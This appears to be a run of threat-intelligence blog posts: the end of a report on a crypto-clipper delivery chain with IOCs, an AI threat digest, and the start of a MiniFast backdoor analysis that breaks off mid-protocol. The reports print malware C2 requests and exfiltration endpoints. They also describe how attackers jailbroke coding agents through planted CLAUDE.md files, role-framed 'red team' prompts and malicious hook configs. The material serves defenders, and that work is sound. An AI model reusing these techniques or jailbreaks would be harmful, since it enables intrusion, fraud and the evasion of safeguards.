http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf

Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.

That stage then downloads:

https://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf

This file also does not match its extension. In the observed chain, it is a ZIP archive containing a bundled Python environment, third-party libraries, Node.js modules, and a large heavily obfuscated Python script stored in node_modules.asar. Despite its name, node_modules.asar is not an Electron ASAR archive, but a Python loader disguised to blend in with the package contents.

The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave. In the sample we analyzed, the shellcode is executed in-process, inside the current bundled Python interpreter.

Once running, the shellcode acts as an in-memory loader for the next stage. It decrypts and decompresses an embedded payload container and manually maps the resulting PE payload into the same process memory. In other words, node_modules.asar is not a passive archive or Electron artifact, but the actual Python-based launch stage that executes shellcode and hands off execution to the next payload without writing the unpacked PE to disk.

Final payload: crypto clipper with on-chain C2 resolution

At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings, identifies the wallet format locally, replaces the copied address with one of multiple attacker-controlled wallet addresses embedded in the sample, and writes the modified value back to the clipboard. In practice, this means a victim can copy a legitimate wallet address, paste it moments later, and unknowingly send funds to the attacker instead.

When executed, AnimateClipper first resolves its C2 by querying a smart contract over the public BNB Smart Chain Testnet JSON-RPC endpoint. The sample issues the following request:

POST https://data-seed-prebsc-1-s1.binance.org:8545/
{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x6936edc505501EBB2F202C985a021a06f1c10C9E","data":"0x3bc5de30"},"latest"]}

At the time of our analysis, the contract response resolved to the C2 domain:

kr.hugo-lapp.co

The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins and a second request format intended to report address-replacement activity. The replacement wallets themselves are fully embedded in the binary.

The hardcoded replacement addresses observed in the analyzed sample include:

0xA1E50DaF64fb2B342A64d848E396700962acC2d0
1PbWWqgKDBDorh525uecKaGZD21FGSoCeR
31kwGkJP9xM26cnQJLpe1CH6pjSt4DEDz2
32Epo1K92Xzo6Hayq1Fmkj21x4fUk7JZT7
bc1qcg5sx6a6evx5ls4gj6nh8d0jtamh89n2y473dr
bc1pqn73hlel3mmnza0kfl2alwkkgkapeeknufgtysll8fs2z4umdf0qpvus9q
ltc1qk437ykzdxms9k9wh5vhd7aalsv0tfx6r39rrtv
LV9AYZKQEg891crnof7PFK6u77noVM4Y45
MG1FerSxboiwjhvU2cv4n34pXz5FpC88p4
TNf4nzc6x6fZrBMLMaZZGV1SbCjShDqbaQ
r9yMnTm4NSzvG9rrwjM2ec8xZgh1cafXH8
cosmos1k5xu6njlc90r92gdwvtfjh826jduw7ptmry0q8
UQDvDUxFShoWWbHougyHjr0tFz3E38fX8e0bnTUpya-P0mXW
DH9W9S6mSSBsGeiSstgsGdiREZupQbZf9C
RRkUSs6V3Eu6gxjGDbGzcS99F5WyKtggsw
XvUreW3ZjMcDuMTowd1BZsK9CYJdk7eKJw
RMh4hfsi84LdbS4uS3jaSaNccc8kartkDJ
XALFSI6ETIZJH2N5CFT2CFOKPFDVDTZUVR7Q3L26UG74SWYGMY6X7MA46Q
XpY2GAXeKJwxSqF87BbPzD68Woy5trj8iKS1PPM
EME9M9cSy9FvfHvcx2gMPkp1H5Dj4YaKufPRsAyon8Tf
qphu2urfykunh5l42retl4aqw6xnfjkyjvcy6gjqrs

We also reviewed incoming transactions to the wallet addresses embedded in this sample. In the dataset we analyzed, the earliest inbound payments were recorded in July 2025, with the first observed transaction dated July 12, 2025. This indicates that the operation has likely been active for a prolonged period and suggests that the TDS-driven infection chain we observed may be only one of several distribution paths used to deploy the malware. While the observed on-chain inflows are modest, they nevertheless show that the embedded wallets received real funds.

Conclusion

This campaign is a reminder that “looking official” is not a meaningful security signal. The entry sites mimic legitimate open-source project portals, preserve real GitHub links to pass quick visual checks, and then use click interception to route the first download click into a gated TDS stack. From the user’s perspective, the path is deceptively simple: top Google result, polished “project” site, download. Under the hood, that single click can become a non-deterministic redirect chain that the victim never agreed to and cannot easily audit.

One of the most striking aspects of the campaign is the SessionGate branch used to deliver PUA. Its combination of server-side registration, one-time-style key release, per-session payload generation, and heavy obfuscation goes far beyond what is typically seen in commodity bundler chains. In practice, these counter-analysis measures make even obtaining the final payload unusually difficult for researchers. While such aggressive gating likely reduces overall delivery efficiency, at this campaign’s scale it is a rational tradeoff for the operators: it also reduces analyst visibility, delays detection, and helps the activity remain under the radar for longer. This is reflected in public telemetry — despite thousands of VirusTotal submissions for the initial loader and hundreds of related intermediate samples, we did not identify the final payload on VirusTotal.

Even if the upstream traffic source is not intended to distribute malware, repeated diversion of users into gray and malicious chains strongly suggests insufficient partner vetting and weak abuse prevention across the supply path. Mechanisms such as sending users somewhere other than the visible link target and handing sessions off to third-party infrastructure outside the original platform’s control are, at minimum, hallmarks of unfair and deceptive traffic practices, not transparent advertising.

More broadly, the embedded TDS layer behaves like a broker between ecosystems: it allows downstream operators to selectively receive only the sessions they want, based on GEO, browser fingerprinting, anti-bot checks, and capping. That makes attribution harder and accountability more diffuse — the impersonation operator does not need to be the malware author to enable malware delivery at scale.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

TypeIndicatorDescription
SHA-256598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7fSessionGate Stage 1
SHA-25674091f5a8746a1c68d73e1fc1e4e1ff514632ee3f632a8b306f35dabae2d2b64SessionGate Stage 1
SHA-25615e6df0c95f2147952308e640d55270e9d097639eaebb34d4b352415f1c6bcebSessionGate Stage 1
SHA-2563bb92771e287aa0a8bdd8e5b5bb697427223eaefded3d9b64b5d5c32ad40f3c2SessionGate Stage 1
SHA-256cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9bSessionGate Stage 1
SHA-2564cdb1f7ac502289119f7f8256f00baaa994e6ecfb4000dcf5e1c46073508fcb3SessionGate Stage 2
SHA-256cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9bSessionGate Stage 2 DLL #1
SHA-256ce0888df5e28716432013a8ae002437bd3e993fbe8362c5ff9efbddabfe0ab77SessionGate Stage 2 DLL #1
SHA-25626f2abfc254a59c2386dd46dca16744f7147a0f0366cb6008e1d53219175f44cSessionGate Stage 2 DLL #2
SHA-256e6a1a428a7c09c9946f7c0179d89b263f442dc3208b5144a9146c200e4185bd6AnimateClipper
SHA-25687361ba2bb412dcf49f8738f3b8b9b7dccb557ad2e76ea8d98ffa5b098ae3886AnimateClipper
SHA-25639dc2327fe1e5a56ac5ad9dc02f0386cff3d83dcfdc558cacba42ebb9dcc5ec2RemusStealer
SHA-2562e842eab0c16ddd1a2ec4a56610adb58d115b65a1e08e9b67e7e375f8eed0873RemusStealer
Domainappfreshstart[.]comSessionGate
Domainappgetonline[.]comSessionGate
Domainwebinnosetup[.]comSessionGate
Domainappmakingcenter[.]comSessionGate
Domainyourfastcrc[.]comSessionGate
Domainmobileversioncrc[.]comSessionGate
Domainwebcrcprove[.]comSessionGate
Domainintegritycrc[.]comSessionGate
URLhttp://buccstanor[.]pics:28313RemusStealer
URLhttp://baxe[.]pics:48261RemusStealer
URLhttp://217.156.122[.]75:1378RemusStealer
URLhttp://intem[.]lat:9592RemusStealer
URLhttp://ropea[.]top:28313RemusStealer
URLhttp://forestoaker[.]com:6290RemusStealer
URLhttp://buccstanor[.]pics:48261RemusStealer
URLhttp://94.231.205[.]229:28313RemusStealer
URLhttp://gluckcreek[.]online:48261RemusStealer
URLhttps://185.0xA1.0xFB[.]58/navy.7zAnimateClipper
URLhttp://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtfAnimateClipper
URLhttps://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtfAnimateClipper
Domainkr.hugo-lapp[.]coAnimateClipper
Domainio.hugo-lapp[.]latAnimateClipper
Domaincw.hugo-lapp[.]latAnimateClipper
Domainst.hugo-lapp[.]latAnimateClipper
Domaintd.hugo-lapp[.]latAnimateClipper
Domainfd.hugo-lapp[.]latAnimateClipper
Domained.hugo-lapp[.]latAnimateClipper
Domainflame-guard[.]ccAnimateClipper
Domaincarlessclapped[.]comAnimateClipper

The post Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem appeared first on Check Point Research.

AI Threat Landscape Digest March-April 2026

Executive Summary

During the March–April 2026 reporting period, AI use in offensive operations advanced from development and planning to real-time operational deployment. Multiple independent cases, involving individual criminal actors, mass exploitation platforms, ransomware groups, and state-sponsored espionage, show evidence of commercial AI models executing autonomous attack workflows across extended campaigns.

Key findings:

  • AI-orchestrated attacks have progressed from experimental, state-sponsored use to in-the-wild criminal deployment. Multiple criminal operations relied on commercial Claude Code as a persistent operational tool in multi-week campaigns.
  • Agentic configuration files are being weaponized as persistent jailbreak vectors. Hooks, project-level files, and settings files abuse the operational control level and redefine the model behaviour at the architecture level.
  • AI-enabled attack platforms are commercializing AI capabilities. Operators can now buy access to platforms where the AI pipeline, model selection, jailbreak, and delivery mechanisms are embedded in the product.
  • AI provider credentials have become a high-value target. As commercial AI services become central to offensive operations, API keys for Anthropic, OpenAI, Groq, Mistral, and HuggingFace are harvested at scale from compromised .env files, providing access without registration and resilience against provider attempts to revoke this access.

AI as Live Attack Operator

AI selection considerations

Underground forum discussions still show actors debating the use of commercial models, dedicated jailbreak services, or locally hosted open-source models, reflecting the lower-skill end of AI adoption. More advanced actors combine tools pragmatically: from commercial AI models, open or uncensored models where commercial providers restrict output, and custom automation pipelines that perform repetitive analysis at scale. Tasks are systematically broken down into smaller sub-requests that present a lower apparent risk profile.

Figure 1 - Figure 1: Forum user suggesting commercial models are effective and restrictions easily removable
Figure 1 – Forum user suggesting commercial models are effective and restrictions easily removed.
Figure 2 - Figure 2: Another user recommends self-hosting open source models to avoid monitoring
Figure 2 – Another user recommends self-hosting open-source models to avoid monitoring.

Forum users further discuss and share methods and alternatives to avoid mainstream-provider safety controls by mixing open-weight Chinese frontier models, privacy-routed proxies, and explicitly uncensored services.

Figure 3 - Figure 3: User sharing a non-restricted/monitored AI assistant recommendation table.
Figure 3 – User sharing a non-restricted/monitored AI assistant recommendation table.

The Mexico Breach

When Anthropic disclosed GTG-1002, a Chinese nexus campaign using Claude Code for cyber espionage, in November 2025, this was seen as an experimental, state-sponsored development. The disclosure carried no IoCs and was therefore disputed by independent researchers, and the activity was detected only through Anthropic’s own API monitoring. The Mexico breach, which occurred a few months later, demonstrates similar architecture in operational, financially motivated criminal use, at scale, and with a recovered forensic record.

Between late December 2025 and mid-February 2026, a single operator compromised nine Mexican government agencies. Researchers documented the case after recovering materials from attacker-controlled VPS servers. Details include the operational record: 1,088 attacker prompts generating 5,317 AI-executed commands across 34 sessions.

The breach scope was significant: tax records, civil registry data, vehicle records, patient files, and electoral infrastructure were affected. However, an even more important lesson is how the campaign was run.

The operator built a dual AI workflow. Claude Code served as the interactive exploitation assistant, helping advance access, write exploits, build tunnel chains, map victim environments, and escalate privileges. In parallel, harvested server data was processed through GPT-4.1 for automated intelligence analysis. The GPT output was then used to task new Claude sessions.

As we highlighted in our previous review, the agentic infrastructure itself was exploited to bypass the model’s safety restrictions. At the start of the campaign, Claude refused to execute requests which it correctly identified as offensive cyber activity. The attacker then changed tactics. Instead of asking Claude to generate malicious content directly, they pasted a large penetration-testing cheatsheet into CLAUDE.md in the project root, the file Claude Code automatically loads as persistent project context at the start of every session. From that point on, subsequent sessions inherited the rules and techniques in that file. The attacker did not need to repeat the jailbreak as the behavior persisted through the project configuration layer. After gaining root on a civil registry server, the model’s actions in subsequent sessions were consistent with the persistent cheatsheet, including unprompted post-exploitation steps such as shadow file extraction and timestamp cleanup.

Bissa Scanner

A second documented case, Bissa Scanner, was published in April 2026, after researchers identified an exposed operator server. Bissa is a modular mass-exploitation platform built around React2Shell (CVE-2025-55182), with 900+ confirmed compromises across millions of scanned Next.js endpoints and an archive of 30,000+ distinct .env filenames recovered from operator-controlled S3 storage. The operation has been running since September 2025. Here, AI is positioned one step back from the exploitation layer: Claude Code and OpenClaw (running claude-sonnet-4-6, with a Telegram bot for triage alerting) served as the operator’s working environment for reading the scanner codebase, troubleshooting, refining the collection pipeline, and prioritizing high-value access. No jailbreak was documented and commercial Claude was accessed through the standard API.

Bissa harvested .env files specifically for AI provider credentials (Anthropic, OpenAI, Groq, Mistral, OpenRouter, HuggingFace, Replicate, DeepSeek). AI provider credentials have become a deliberate target, valuable enough for sophisticated operators to enumerate and harvest at scale alongside conventional credential theft. These credentials are likely intended to be used in future offensive criminal activity and attribute it to the legitimate account holder instead of the attacker.

Agentic Configuration Files: A Persistent Attack Surface

The previous section demonstrates the use of agentic configuration files to override safety features in their own AI sessions. The same inheritance mechanism can be used in reverse: an attacker plants malicious agentic configuration files in a repository, and an innocent developer uses the project and becomes the next victim.

A recent CPR report documented three exploitation paths and disclosed two (now patched) CVEs. CVE-2025-59536 exploits Claude Code’s Hooks feature (hooks, .claude/settings.json), executing arbitrary commands before the developer can read them. A parallel path uses .mcp.json to trigger the MCP server startup, bypassing the consent dialog entirely. CVE-2026-21852 redirects ANTHROPIC_BASE_URL to a malicious proxy that intercepts authorization headers and potentially steals API keys, granting read/write access to the entire team Workspace before any trust prompt appears. The attack vector in all three cases is “supply chain”, a malicious settings file embedded in a pull request, honeypot repository, or compromised codebase that results in system compromise on the developer machine.

The underlying issue of using agentic configuration files as the attack surface and supply chain is not specific to Claude. The potential attack surface is architectural and may apply equally to Cursor (.cursorrules), Windsurf (.windsurfrules), and GitHub Copilot Workspace (.github/copilot-instructions.md).

AI-Powered Fraud at Scale: EvilTokens

EvilTokens represents a category of offensive tooling offered for sale: a commercial Phishing-as-a-Service (PhaaS) platform, built using AI and operating an LLM pipeline as a runtime component of the attack. A buyer with no AI knowledge can purchase access to a fully integrated pipeline in which model selection, jailbreak, and output delivery are handled at the platform level.

EvilTokens runs a multi-stage attack flow. Device-code phishing pages impersonating Adobe, DocuSign, and SharePoint harvest Microsoft OAuth tokens. The AI pipeline then activates these tools:

  • Via Groq, llama-3.1-8b-instant ingests up to 5,000 emails in 250-email batches, extracting account numbers, routing numbers, wire amounts, payment deadlines, and reporting hierarchies.
  • Also via Groq, llama-3.3-70b-versatile synthesizes the intelligence, generates BEC (Business Email Compromise) drafts tailored to the victim’s writing style, and assigns a BEC score.
  • gpt-4o-mini translates stolen emails for non-English-speaking operators.
  • The SMTP Sender delivers the output with rotating SMTP pools, header fingerprint randomization, DKIM signing, and CSS randomization.

The researchers assessed with high confidence that the platform’s backend was AI-generated.

The model choices reflect deliberate task routing: Llama 3.1 8B was used for cheap high-volume extraction, Llama 3.3 70B for reasoning-heavy synthesis and stylistic mimicry, and GPT-4o-mini was reserved for translation where it has the strongest multilingual capability and where the task itself looks innocuous to provider-side monitoring. The riskiest content generation is kept on Groq-hosted open-weight models instead of on OpenAI’s more closely monitored surface.

The jailbreak is the product. Both Groq-hosted LLaMA stages operate under a jailbreak embedded at the platform level, not applied by the operator and not visible to the customer. Stage 1 frames the model as an “authorized red team security analyst” conducting “sanctioned penetration tests”; Stage 2 upgrades to “senior red team analyst.” Prompts direct the model to reference real email threads, mask payment changes behind “plausible business reasons”, imitate sender style, and generate emails “realistic enough to fool a trained employee.” This is security bypass at SaaS scale: write the jailbreak once, ship it as a feature, and it’s inherited in every customer session.

The original EvilTokens advertising posts reveal additional features, including a Calendar Invite module which sends fake meeting invitations that appear as legitimate Outlook and Gmail meeting requests, with built-in Sender Spoofing (Organizer Identity). In a BEC context, this is used to apply timing pressure on finance personnel: a fake “urgent review meeting” appears on the target’s calendar shortly before a wire-transfer request lends the request a sense of pre-authorized context. Combined with the AI-generated email and the SMTP Sender, this completes a full BEC social engineering toolkit covered end-to-end by a single PhaaS offering.

Figure 4 - Figure 4: Calendar Invite module UI with Sender Spoofing section - From EvilTokens promotional forum postings.
Figure 4 – Calendar Invite module UI with Sender Spoofing section – From EvilTokens promotional forum postings.

EvilTokens’ Telegram channel announced additional AI-based features after Sekoia’s disclosure. The platform did not go offline and accelerated its AI feature development through April 2026.

Figure 5 – Announcement of additional AI related features – From EvilTokens Telegram channel.

The Vulnerability Race: AI on Both Sides of the Patch Window

AI-assisted vulnerability research has become a category in its own right and is now commercialized at both major frontier labs simultaneously on two tiers: a restricted research-grade capability and a productized defender tool.

At the frontier, Anthropic’s Claude Mythos, released through Project Glasswing, reportedly demonstrated a systematic, rapid mechanism to search for vulnerabilities and revealed a very large number of vulnerabilities, some long-buried zero-days in core infrastructure. These include a 27-year-old OpenBSD TCP/SACK bug found at roughly $20,000 in compute, a 16-year-old FFmpeg H.264 codec flaw, and a FreeBSD NFS remote code execution vulnerability in software that was analyzed for decades. The capability jump within a single generation is steep: on the same Firefox test set, Opus 4.6 produced 2 successful exploits and Mythos produced 181. Anthropic notes that this capability was not explicitly trained for but “emerged as a downstream consequence of general improvements in code, reasoning, and autonomy.” The productized tier is wider and more accessible: Claude Security (running on the public Opus 4.7 model) entered public beta for Enterprise customers, and OpenAI’s Codex Security, in research preview since early March, has had 14 CVEs assigned during the preview window on OpenSSH, GnuTLS, libssh, PHP, and Chromium.

The same capability curve is reaching attackers at the commodity tier, faster than defenders can patch. A researcher using a standard Claude API subscription identified CVE-2026-34197, a 13-year-old Apache ActiveMQ remote code execution vulnerability, and attributed roughly 80% of the work to Claude and the remainder to his refinement. LMDeploy SSRF (CVE-2026-33626) was exploited within 12 hours of the advisory publication, with no public proof-of-concept available. This time-frame compression is consistent with attackers building working exploits directly from advisory text. GenAI is accelerating this workflow.

Vendors are using AI to find vulnerabilities that sat undiscovered in core infrastructure for decades while attackers are using AI to find and weaponize newly-disclosed vulnerabilities within hours of publication. The patch window, the period between disclosure and exploitation, is being compressed on both sides. Vendors and customers need to adjust to a new high rate of patch development, delivery and deployment. The side that reacts the fastest will gain the most from recent AI developments.

Enterprise Adoption and Exposure

Corporate environment data collected by Check Point in March – April 2026 shows enterprise GenAI usage continuing to scale while the associated risk profile remains stable. Approximately one in every 28 prompts (3.6%) posed a high risk of sensitive data exposure, a modest increase from the January–February baseline of 3.2%, observed across 91% of organizations actively using GenAI tools (compared with 90% in the previous period). The proportion of prompts containing potentially sensitive information rose from 16% to 18%.

Figure 6 – GenAI related data from Corporate.

The average employee generated 78 prompts during March – April, up from 69, with organizations using an average of 10 GenAI tools. Interaction volume is rising while risk ratios remain stable, producing a proportional increase in absolute exposure events.

The consistency of these metrics across two reporting periods indicates a maturing adoption pattern: data exposure is not an episodic incident category but a continuous operational risk requiring sustained monitoring and policy enforcement.

Conclusion

Our findings converge on a small number of structural observations.

  • AI now operates as an attack component, not just as a development aid. The Mexican breach illustrates this at government-breach scale, and Bissa at mass-exploitation scale. The same commercial Claude Code architecture appears independently across criminal operations with different motivations and geographies, and in state-sponsored espionage. The convergence is operational consensus, not coincidence.
  • The techniques aren’t new but the performance envelope is. Network scanning, credential spraying, lateral movement, BEC drafting, and vulnerability research all predate AI. What’s changed is the speed (working exploits generated from advisory text alone within 12 hours of disclosure), scale (one operator reaching the operational footprint of an advanced team), and breadth of knowledge (cross-domain expertise on demand lowers the entry requirement for sophisticated multi-vector campaigns). Defences calibrated to human attack tempo and human team throughput are not equipped for the AI equivalents.
  • The AI attribution gap is structural. All the operations we documented in this report were discovered through attacker OPSEC failures or LLM provider monitoring, not through victim-side controls. AI-executed commands resemble skilled human activity closely enough to evade current behavioral controls. Operations that do not fail at OPSEC, or that route through stolen credentials or self-hosted models, remain unclassified.

The post AI Threat Landscape Digest March-April 2026 appeared first on Check Point Research.

Fast and Furious – Nimbus Manticore Operations During the Iranian Conflict

Key Findings

  • The Iranian, IRGC affiliated, threat actor Nimbus Manticore resurfaced during Operation Epic Fury, the US military campaign against Iran launched on February 28, 2026, demonstrating newly adopted techniques and enhanced capabilities.
  • The campaign leveraged malicious lures impersonating organizations in the aviation and software sectors across the United States, Europe and the Middle East.
  • For the first time, we observed the use of SEO poisoning as an additional malware delivery method.
  • The operation introduced a previously undocumented backdoor, named MiniFast, which appears to incorporate AI-assisted development practices, enabling the threat actor to rapidly develop and adapt tooling while maintaining high operational availability during the war.
  • The actor also used a Zoom installer’s execution flow and abused it to stage a time-sensitive infection chain for malware deployment while blending into legitimate system activity.

Introduction

During the recent geopolitical tensions in the Middle East, we reported on multiple Iran-nexus threat actors advancing Iran’s strategic objectives through cyber operations. These activities included targeting internet-connected cameras, conducting destructive attacks against US and Israeli entities, and exfiltrating data from cloud environments to support broader kinetic and intelligence-gathering efforts.

Nimbus Manticore (also tracked as UNC1549) is an IRGC-affiliated threat actor who primarily targets the defense, aviation and telecommunication sectors through career-themed phishing campaigns. Nimbus Manticore stands out compared to other Iranian-linked groups due to its complex malware toolset.

In 2025, we documented the MiniJunk malware framework used by Nimbus Manticore to target high-profile organizations across Western Europe and the Middle East.

In the recent campaign, the actor adopted several new techniques, including AppDomain (application domain) hijacking, AI-assisted malware development, and SEO poisoning.

In this article, we focus on three waves of the threat actor’s activity in the last few months, as well as discuss their latest techniques.

Figure 1 – 2026 campaign timeline during the ongoing military campaign.

Campaign 1: Rising Tension

In February 2026, amid rising tensions between the US, Israel and Iran and weeks of military buildup, we monitored new Nimbus Manticore phishing activity worldwide. In this campaign, the threat actor introduced a modified infection chain by abusing AppDomain Hijacking for execution instead of relying on the usual DLL sideloading techniques.

AppDomain Hijacking is a technique that abuses legitimate .NET applications to load a malicious DLL at launch time. This is achieved by placing a Trojanized XML .config file in the same directory as the target application. The configuration file, named after the abused binary with the .config suffix, specifies an attacker-controlled AppDomainManager class that points to a malicious DLL. When the application starts, the .NET runtime loads the DLL, enabling malicious code execution within the context of the trusted process.

Figure 2 – Config file pointing the appDomainManager class to the attacker-controlled DLL.

The phishing lure is consistent with previous Nimbus Manticore campaigns, targeting employees in selected organizations (primarily software and aviation sectors) with fake career opportunities. Targeted organizations in Saudi Arabia and Australia were directed to download a compressed ZIP archive stored on the OnlyOffice platform.

Figure 3 – ZIP file hosted on Onlyoffice.

The downloaded ZIP file contains these files:

  • Setup.exe – Benign Microsoft-signed binary.
  • Setup.exe.config – AppDomain Hijacking configuration file pointing to uevmonitor.dll.
  • uevmonitor.dll – A first stage Dropper.
  • Interop.TaskScheduler.dll – a benign DLL.

Figure 4 – Zip file masquerading as an Accenture job opportunity.

After the setup.exe binary is executed, the first-stage loader (uevmonitor.dll) is loaded. This component is responsible for extracting and deploying the next-stage payload, which is stored in encrypted form within the loader itself.

The extracted files are written into C:\Users\<USER>\AppData\Local\Packages\ and include a legitimate executable used for DLL sideloading alongside a malicious DLL identified as a new version of the MiniJunk backdoor.

The first-stage loader uevmonitor.dll shares multiple behaviors similar to older MiniJunk loader variants. These include validating that it is loaded specifically by the Setup.exe process and displaying a fake error message stating "Couldn't connect to survey server" to appear as a legitimate application failure and reduce user suspicion.

Campaign 2: During Operation Epic Fury

Figure 5 – Campaign 2: During Operation Epic Fury – Attack Chain.

During Operation Epic Fury, we continued to observe activity from the threat actor. Despite the challenging environment, Nimbus Manticore demonstrated a strong ability to rapidly adapt, maintain infrastructure, and develop new tooling. We assess that this capability was likely supported, at least in part, by LLM-based tools and AI-assisted development techniques.

In addition to career-themed phishing lures masquerading as a US-based airline, the threat actor also used a Trojanized Zoom installer, which we assess was part of a phishing campaign using fake meeting invitations. In addition, the Trojanized Zoom installer demonstrated in-depth research into the original application’s installation and execution flow, enabling it to be seamlessly integrated into the infection chain.

Similar to previous campaigns, the threat actor continued leveraging AppDomain Hijacking, not just for the initial execution stage but also during the deployment and execution of the final backdoor. For the final payload, the threat actor introduced a new backdoor that we named MiniFast, replacing the previously used MiniJunk malware family.

Many of the files used throughout the campaign had valid digital signatures via SSL.com, continuing the abuse of trusted signing infrastructure we previously documented in our 2025 report. We identified the use of at least two certificates during the current activity, including:

  • Gray Matter Software S.R.L.
  • Kirubel Kerie Negeya

Infection Chain

The infection chain begins with the victim downloading a compressed archive named Zoominstall64.zip, which contains the following files:

  • Setup.exe – Benign Microsoft-signed binary (ServiceHub.VSDetouredHost.exe).
  • Setup.exe.config – AppDomain Hijacking configuration file pointing to InitInstall.dll.
  • InitInstall.dll – First-stage loader.
  • Zoom_cm.exe – Original Zoom installer.
  • UpdateConfig.xml – AppDomain Hijacking configuration file pointing to Updater.dll.
  • Updater.dll – Second-stage loader.
  • UpdateChecker.dll – Final backdoor payload (MiniFast).

First-Stage Deployment

After Setup.exe is launched by the user, the first-stage loader (InitInstall.dll) is executed through AppDomain Hijacking using the accompanying .config file.

The loader itself is lightly obfuscated. Most readable strings are decrypted at runtime using a simple combination of ROT13 encoding and reversed-string transformations. Aside from the string obfuscation layer, the codebase contains meaningful function names and relatively well-structured logic. Execution begins with the malware displaying a fake installation progress window intended to mimic legitimate software installation activity. At the same time, the loader launches the legitimate Zoom installer (Zoom_cm.exe) to make the execution flow appear to the victim as a normal software installation.

Persistence through Task hijacking

After launching the installer, the malware enters a loop that lasts approximately one minute, continuously monitoring the system for the creation of a scheduled task matching this format:

ZoomUpdateTaskUser-<current user SID>

This scheduled task is usually created by the legitimate Zoom installer during installation.

When the task is created, the malware hijacks and modifies it to execute the second-stage component instead. By abusing an existing Zoom scheduled task rather than creating a new suspicious persistence mechanism, the malware attempts to blend into legitimate system activity and reduce detection opportunities.

Second-Stage Deployment

The next-stage files are copied into C:\Users\<USER>\AppData\Local\Zoom\bin\update. This directory contains four files copied from the original archive, including the benign Microsoft-signed binary from the first stage, now renamed to Update.exe. The malware again abuses AppDomain Hijacking to load the second-stage loader (Updater.dll) through the trusted Update.exe process.

Similar to the first stage, the second-stage loader uses the same runtime string decryption routine based on ROT13 and reversed strings.

At the beginning of its execution, the loader performs a simple anti-analysis validation intended to evade sandbox environments and automated dynamic analysis systems. The malware only continues execution if:

  • The hosting process name is update.exe
  • The parent process is svchost.exe

This execution-chain validation ensures that the DLL is loaded by the malware’s intended loader component and that execution originates from the scheduled-task persistence mechanism instead of launched directly through explorer.exe etc.

The primary purpose of the second-stage loader is to dynamically load the final MiniFast payload (UpdateChecker.dll), locate its exported function named CheckForUpdates, and execute it.

Adoption of AI

This campaign also provides multiple indications that the threat actor leveraged AI-assisted development during the malware creation. We see evidence for this in both the initial access loaders and within the MiniFast backdoor itself.

Several coding patterns and implementation details strongly suggest the use of AI-generated or AI-assisted code during development, including:

  • Excessive error handling and defensive programming logic, even around simple API calls such as GetUserName.
  • Repetitive function and method naming patterns containing descriptive or verbose identifiers.
  • Multiple detailed error-reporting strings and debug-style status messages embedded throughout the codebase.
  • Modular code organization despite the malware’s overall simplicity.

These characteristics are increasingly prevalent in malware development as threat actors leverage AI-assisted tools to accelerate development, improve code structure, and rapidly utilize new capabilities.

Campaign 3: Post Ceasfire – “SQL developer” Campaign

In April, we observed a new infection method, a fake website impersonating a download page for SQL Developer, a graphical tool used for working with databases. Users who attempted to download the software from the fake site instead received a weaponized installer that delivered the MiniFast backdoor.

Figure 6 – Screenshot of the getsqldeveloper[.]com site.

This malware delivery method differs from Nimbus Manticore’s usual infection chains which typically rely on career-themed phishing lures. In this campaign, the actor abuses search engine optimization techniques by registering dozens of domains that link to the bogus domain, getsqldeveloper[.]com. This is likely an attempt to increase the site’s visibility through link-based reputation signals.

At the time of our analysis, the malicious domain ranked high in the results returned by multiple search engines, such as Bing and DuckDuckGo, for the query “sql developer.” This increased the likelihood that users searching for legitimate SQL Developer downloads would encounter the site.

The pages also rely on keyword stuffing, repeatedly using search-oriented phrases such as “Download SQL Developer” and “SQL Developer Free,” likely to improve ranking for users searching for SQL Developer-related downloads.

MiniFast Technical Analysis

MiniFast is a 64-bit Windows PE DLL that exposes a single export named CheckForUpdates which acts as the main entry point. The DLL operates as a fully featured backdoor designed for long-term persistence and remote command execution. Analysis of multiple samples indicates the malware is undergoing active development, with the threat actor continuously modifying and improving the implant across versions.

Figure 7 – Export function CheckForUpdates structure.

Similar to the previous stage, the backdoor again appears to be executing under the expected process chain by verifying that the hosting process is named update.exe and that its parent process is svchost.exe

The implant communicates with its C2 (command and control) infrastructure using an API-style architecture with JSON-formatted data exchanges. To blend into legitimate network traffic, the malware impersonates a Chrome browser using the following hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

The backdoor implements several structured HTTP endpoints throughout the infection lifecycle:

URIMethodPurpose
/rgPOSTInitial handshake
/agent/initPOSTInitial victim registration
/agent/poll?token=GETTask retrieval
/agent/resultPOSTCommand execution result upload
/upload/PUTFile exfiltration
/files/GETFile download from the C2

Before entering its tasking loop, the malware performs basic host reconnaissance by collecting information such as the username, hostname, and domain info, and then submits the collected data as a unique clientId to the /rg endpoint using a POST request.

{
  "clientId":"<ComputerName>:<USERDOMAIN>\<UserName>",
  "type":"poll"
}

If the server responds with HTTP status code 200, the backdoor skips parsing the response body and continues executing normally. However, when the server responds with status code 400, the malware parses the returned JSON object and extracts a socketId, which acts as the session identifier for all future communications.

In addition, the server response may include updated values for pollInterval and jitterTime, allowing the operator to dynamically adjust the timing between subsequent communications with the C2 infrastructure.

{
  "socketId":"<string>",
  "pollInterval":120000,
  "jitterTime":5000
}

Next, the backdoor continues to register the infected host by again sending the machine information, this time to the /agent/init in the following format:

{
  "token": "<socketId>",
  "pcName": "<computer_name>",
  "userName": "<user_name>",
  "domainName": "<USERDOMAIN>",
